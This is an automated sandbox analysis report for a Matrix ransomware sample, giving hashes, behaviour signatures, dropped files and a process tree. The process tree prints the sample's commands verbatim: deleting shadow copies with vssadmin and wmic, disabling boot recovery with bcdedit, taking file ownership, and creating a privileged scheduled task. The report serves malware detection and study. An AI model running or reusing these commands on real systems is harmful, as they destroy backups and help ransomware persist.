Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-12-2022 18:35

General

  • Target

    2d95141169b25449c5fb2ac2c91857c1a2855c10914dfdac53dde5e45e3714d3.exe

  • Size

    1.2MB

  • MD5

    6411153c8a95e8c77127d99c75595604

  • SHA1

    02e6b8baed744a6b0c78baddf1720654688e5642

  • SHA256

    2d95141169b25449c5fb2ac2c91857c1a2855c10914dfdac53dde5e45e3714d3

  • SHA512

    65f8479bb477d76af915811b44a06bc4ca076955d22e6d3cdc336f6e3c7d7299ef52da81aa3d13f6f5f9170ba5b9ac049fe67edc1df0a8899e8a4b7b03a82ade

  • SSDEEP

    24576:+/SA+2lraRrjSJR5ezmT1dM9fB3NIDreFqO:yXlCIfe

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 29 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2d95141169b25449c5fb2ac2c91857c1a2855c10914dfdac53dde5e45e3714d3.exe
    "C:\Users\Admin\AppData\Local\Temp\2d95141169b25449c5fb2ac2c91857c1a2855c10914dfdac53dde5e45e3714d3.exe"
    1⤵
    • Matrix Ransomware
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:4824
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\2d95141169b25449c5fb2ac2c91857c1a2855c10914dfdac53dde5e45e3714d3.exe" "C:\Users\Admin\AppData\Local\Temp\NW1lWznw.exe"
      2⤵
        PID:4404
      • C:\Users\Admin\AppData\Local\Temp\NW1lWznw.exe
        "C:\Users\Admin\AppData\Local\Temp\NW1lWznw.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1732
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\3eYJeJpi.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4624
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1392
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Y14Gi9NT.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2464
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Y14Gi9NT.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1356
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:3232
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1548
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\YQNlwpHd.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4692
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\YQNlwpHd.vbs"
              3⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:2436
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\dGp89tLF.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1324
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\dGp89tLF.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:5004
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4880
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Run /I /tn DSHCA
                  5⤵
                    PID:5076
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\GZh5nylM.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5028
              • C:\Windows\SysWOW64\attrib.exe
                attrib -R -A -S "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
                3⤵
                • Views/modifies file attributes
                PID:5100
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
                3⤵
                  PID:1764
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
                  3⤵
                  • Modifies file permissions
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2132
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c t7bUFRUw.exe -accepteula "store.db" -nobanner
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4348
                  • C:\Users\Admin\AppData\Local\Temp\t7bUFRUw.exe
                    t7bUFRUw.exe -accepteula "store.db" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1752
                    • C:\Users\Admin\AppData\Local\Temp\t7bUFRUw64.exe
                      t7bUFRUw.exe -accepteula "store.db" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Sets service image path in registry
                      • Enumerates connected drives
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3636
            • C:\Windows\SYSTEM32\cmd.exe
              C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\dGp89tLF.bat"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:5036
              • C:\Windows\system32\vssadmin.exe
                vssadmin Delete Shadows /All /Quiet
                2⤵
                • Interacts with shadow copies
                PID:4784
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic SHADOWCOPY DELETE
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2120
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:4228
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:5076
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN DSHCA /F
                2⤵
                  PID:3948
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3612

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\$Recycle.Bin\S-1-5-21-2295526160-1155304984-640977766-1000\desktop.ini

                Filesize

                1KB

                MD5

                bf2e20a79a066ec5e160ff0eeb92336a

                SHA1

                814efa8b301955cb076a38f5ee1ab14574fec115

                SHA256

                4cf925ebe4dd3d72d1e13692489258c9fdd80f57574a96126cb036d338a5e244

                SHA512

                503194160be3eed9b1877bf09e383b3737499fcb63fa69c2f79255987bb889ab67709683a1d5245f7dda3b44ea48f907d5a827c953da14b6b31374ee1168e8ab

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                Filesize

                3KB

                MD5

                036a07e0d6cd8073a5bf95f6b3a9c8d3

                SHA1

                ae9b958981050064b5f95925d66d50153852ffd0

                SHA256

                1fa0657f909f21ddce746bc9f60376fd51bfeb11f43bc380193489eff78b8a65

                SHA512

                00dd632f0513b2b7fb1deaa3cd67652b0379f777fbb4252755586d875bb1142ba0c612f2d1ae2f5d02eeb71694edff6971c8585acb78d76314f1bfd1b4e73a70

              • C:\Users\Admin\AppData\Local\Temp\3eYJeJpi.txt

                Filesize

                14B

                MD5

                8eb51985066cb0782077f624013d47a2

                SHA1

                0549d07d51454e73b937946ba1887cacfce71835

                SHA256

                5537d10911f09132033b185344f75ea1a0ed7e5509b3be00bd8bc93d477baa44

                SHA512

                539a7160bb41366a74d8859b080724f5838132428f672c2bba7ef9c9a259823f15074adec75567bea6724f09d681c04b8763a2f495eff3436ff17420cb7bf0f5

              • C:\Users\Admin\AppData\Local\Temp\GZh5nylM.bat

                Filesize

                246B

                MD5

                80d252466386dbdb45af0df87b440ea6

                SHA1

                cce89b93b8fbb57ef936a54ea50b93cf8c038b37

                SHA256

                893814a6d5411a2183a44704214e940439ff66b05968a10265aa8f0319089921

                SHA512

                a944cb4f9ee1b31d07da76c57f9ca089c313b80b9970c745e7388442dfce12c96c4ff39cd3497cbdb39eb2437f42f972828387cadb2052624f5b60d342df146b

              • C:\Users\Admin\AppData\Local\Temp\NW1lWznw.exe

                Filesize

                1.2MB

                MD5

                6411153c8a95e8c77127d99c75595604

                SHA1

                02e6b8baed744a6b0c78baddf1720654688e5642

                SHA256

                2d95141169b25449c5fb2ac2c91857c1a2855c10914dfdac53dde5e45e3714d3

                SHA512

                65f8479bb477d76af915811b44a06bc4ca076955d22e6d3cdc336f6e3c7d7299ef52da81aa3d13f6f5f9170ba5b9ac049fe67edc1df0a8899e8a4b7b03a82ade

              • C:\Users\Admin\AppData\Local\Temp\NW1lWznw.exe

                Filesize

                1.2MB

                MD5

                6411153c8a95e8c77127d99c75595604

                SHA1

                02e6b8baed744a6b0c78baddf1720654688e5642

                SHA256

                2d95141169b25449c5fb2ac2c91857c1a2855c10914dfdac53dde5e45e3714d3

                SHA512

                65f8479bb477d76af915811b44a06bc4ca076955d22e6d3cdc336f6e3c7d7299ef52da81aa3d13f6f5f9170ba5b9ac049fe67edc1df0a8899e8a4b7b03a82ade

              • C:\Users\Admin\AppData\Local\Temp\t7bUFRUw.exe

                Filesize

                181KB

                MD5

                2f5b509929165fc13ceab9393c3b911d

                SHA1

                b016316132a6a277c5d8a4d7f3d6e2c769984052

                SHA256

                0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                SHA512

                c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

              • C:\Users\Admin\AppData\Local\Temp\t7bUFRUw.exe

                Filesize

                181KB

                MD5

                2f5b509929165fc13ceab9393c3b911d

                SHA1

                b016316132a6a277c5d8a4d7f3d6e2c769984052

                SHA256

                0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                SHA512

                c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

              • C:\Users\Admin\AppData\Local\Temp\t7bUFRUw64.exe

                Filesize

                221KB

                MD5

                3026bc2448763d5a9862d864b97288ff

                SHA1

                7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                SHA256

                7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                SHA512

                d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

              • C:\Users\Admin\AppData\Local\Temp\t7bUFRUw64.exe

                Filesize

                221KB

                MD5

                3026bc2448763d5a9862d864b97288ff

                SHA1

                7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                SHA256

                7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                SHA512

                d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

              • C:\Users\Admin\AppData\Roaming\YQNlwpHd.vbs

                Filesize

                260B

                MD5

                fed840b45dc3354df02b97f2579635ca

                SHA1

                db7e275d57f53d1782c5a2dbcfb06a76a905e025

                SHA256

                26b02226370489b12ef7302b42893e0059cd324b66e1ac5ec3887a001a112003

                SHA512

                266332284a1e2b23444250d2ecc6ab965eb4aae9d23ea71be0ddf63b76259ee719ec068b9579b21451b96de8b7692ff8357f0dbd25d3d3b838c928bf206ff125

              • C:\Users\Admin\AppData\Roaming\dGp89tLF.bat

                Filesize

                265B

                MD5

                20356ff34c140f64e238e3a45a44623d

                SHA1

                e2b02ec3de12b8f999dc47555c81a01a60111af1

                SHA256

                d34e11758c3fe53d2351f6d518887f7484c5316abb9dbd22b367532437d84797

                SHA512

                f5969a20b65a76ccab1760a206e4eea5af842a1518aa6bd448529f0a8786ad943bd24f87d5afc6c97a6a67df6dbefa440cde9fdf3516350203e040b1db83a5f2

              • memory/1324-168-0x0000000000000000-mapping.dmp

              • memory/1356-149-0x0000000000000000-mapping.dmp

              • memory/1392-143-0x0000000005C20000-0x0000000005C3E000-memory.dmp

                Filesize

                120KB

              • memory/1392-142-0x0000000005620000-0x0000000005686000-memory.dmp

                Filesize

                408KB

              • memory/1392-137-0x0000000000000000-mapping.dmp

              • memory/1392-145-0x0000000006130000-0x000000000614A000-memory.dmp

                Filesize

                104KB

              • memory/1392-138-0x00000000022E0000-0x0000000002316000-memory.dmp

                Filesize

                216KB

              • memory/1392-139-0x0000000004F10000-0x0000000005538000-memory.dmp

                Filesize

                6.2MB

              • memory/1392-140-0x0000000004D60000-0x0000000004D82000-memory.dmp

                Filesize

                136KB

              • memory/1392-144-0x0000000007440000-0x0000000007ABA000-memory.dmp

                Filesize

                6.5MB

              • memory/1392-141-0x0000000005540000-0x00000000055A6000-memory.dmp

                Filesize

                408KB

              • memory/1548-152-0x0000000000000000-mapping.dmp

              • memory/1732-133-0x0000000000000000-mapping.dmp

              • memory/1752-167-0x0000000000400000-0x0000000000477000-memory.dmp

                Filesize

                476KB

              • memory/1752-160-0x0000000000000000-mapping.dmp

              • memory/1764-157-0x0000000000000000-mapping.dmp

              • memory/2120-174-0x0000000000000000-mapping.dmp

              • memory/2132-158-0x0000000000000000-mapping.dmp

              • memory/2436-150-0x0000000000000000-mapping.dmp

              • memory/2464-147-0x0000000000000000-mapping.dmp

              • memory/3232-151-0x0000000000000000-mapping.dmp

              • memory/3636-164-0x0000000000000000-mapping.dmp

              • memory/3948-178-0x0000000000000000-mapping.dmp

              • memory/4228-176-0x0000000000000000-mapping.dmp

              • memory/4348-159-0x0000000000000000-mapping.dmp

              • memory/4404-132-0x0000000000000000-mapping.dmp

              • memory/4624-136-0x0000000000000000-mapping.dmp

              • memory/4692-148-0x0000000000000000-mapping.dmp

              • memory/4784-173-0x0000000000000000-mapping.dmp

              • memory/4880-170-0x0000000000000000-mapping.dmp

              • memory/5004-169-0x0000000000000000-mapping.dmp

              • memory/5028-154-0x0000000000000000-mapping.dmp

              • memory/5076-171-0x0000000000000000-mapping.dmp

              • memory/5076-177-0x0000000000000000-mapping.dmp

              • memory/5100-156-0x0000000000000000-mapping.dmp